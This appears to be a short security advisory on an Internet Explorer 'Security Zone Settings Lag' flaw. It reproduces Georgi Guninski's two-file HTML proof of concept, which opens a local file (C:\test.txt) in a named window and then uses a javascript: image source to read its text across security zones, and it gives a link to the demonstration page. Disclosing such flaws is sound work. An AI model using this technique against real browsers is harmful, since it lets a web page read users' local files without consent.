Microsoft Internet Explorer Security Zone Settings Lag Vulnerability

Microsoft Internet Explorer Security Zone Settings Lag Vulnerability

Here is the code from Georgi Guninski's demonstration page:

-----------------img2main.html---------------------------------------
<A HREF="img2.html" TARGET="victim">link</A>
<SCRIPT>
alert("Create a short text file C:\\test.txt and it will be read and shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);
</SCRIPT>
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----------------img2.html--------------------------------------------
<HTML>
<IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary. Wait a little.')">
</HTML>
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Demonstration available at:
http://www.nat.bg/~joro/img2main.html